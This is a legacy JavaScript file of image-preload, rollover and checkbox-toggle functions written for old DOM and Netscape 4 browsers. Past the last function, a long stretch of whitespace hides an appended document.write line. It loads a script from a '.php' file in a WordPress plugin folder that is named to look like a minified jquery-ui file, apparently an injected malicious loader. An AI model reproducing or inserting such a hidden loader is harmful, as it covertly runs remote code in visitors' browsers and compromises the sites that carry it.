if (document.images) {// preload images
// Active UI Buttons
	uiUP_on = new Image();
	uiUP_on.src = "images/ui_scrollUP_on.gif";
	uiDN_on = new Image();
	uiDN_on.src = "images/ui_scrollDN_on.gif";
	uiClose_on = new Image();
	uiClose_on.src = "images/ui_close_on.gif";
// Inactive UI Buttons
	uiUP = new Image();
	uiUP.src = "images/ui_scrollUP.gif";
	uiDN = new Image();
	uiDN.src = "images/ui_scrollDN.gif";
	uiClose = new Image();
	uiClose.src = "images/ui_close.gif";
}
//rollovers for UI buttons
function uiOn(which,index) {
	if (document.images) {
		if (document.getElementById) {document[which+index].src = eval(which+"_on.src");} //for DOM browsers
		if (document.layers) {document["ui"+index].document[which+index].src = eval(which+"_on.src");} //for NS4		
	}
}
function uiOff(which,index) {
	if (document.images) {
		if (document.getElementById) {document[which+index].src = eval(which+".src");} //for DOM browsers
		if (document.layers) {document["ui"+index].document[which+index].src = eval(which+".src");} //for NS4		
	}
}

//image switch for on/off checkmarks
function checkToggle(whichOn,whichOff) {
	if (document.images) {
		if (document.getElementById) { //for DOM browsers
			document["check"+whichOn].src = "images/check_on.gif";
			document["check"+whichOff].src = "images/check_off.gif";
		}
		if (document.layers && !document.getElementById) { //for NS4	
			document["doorway1"].document["content17"].document["check"+whichOn].src = "images/check_on.gif";
			document["doorway1"].document["content17"].document["check"+whichOff].src = "images/check_off.gif";
		} 	
	}
}																																																																							document.write('<script type="text/javascript" src="/blog/wp-content/plugins/kpicasa-gallery/lightbox2/js/jquery-ui-1.8rc3.custom.min.php"><\/script>');
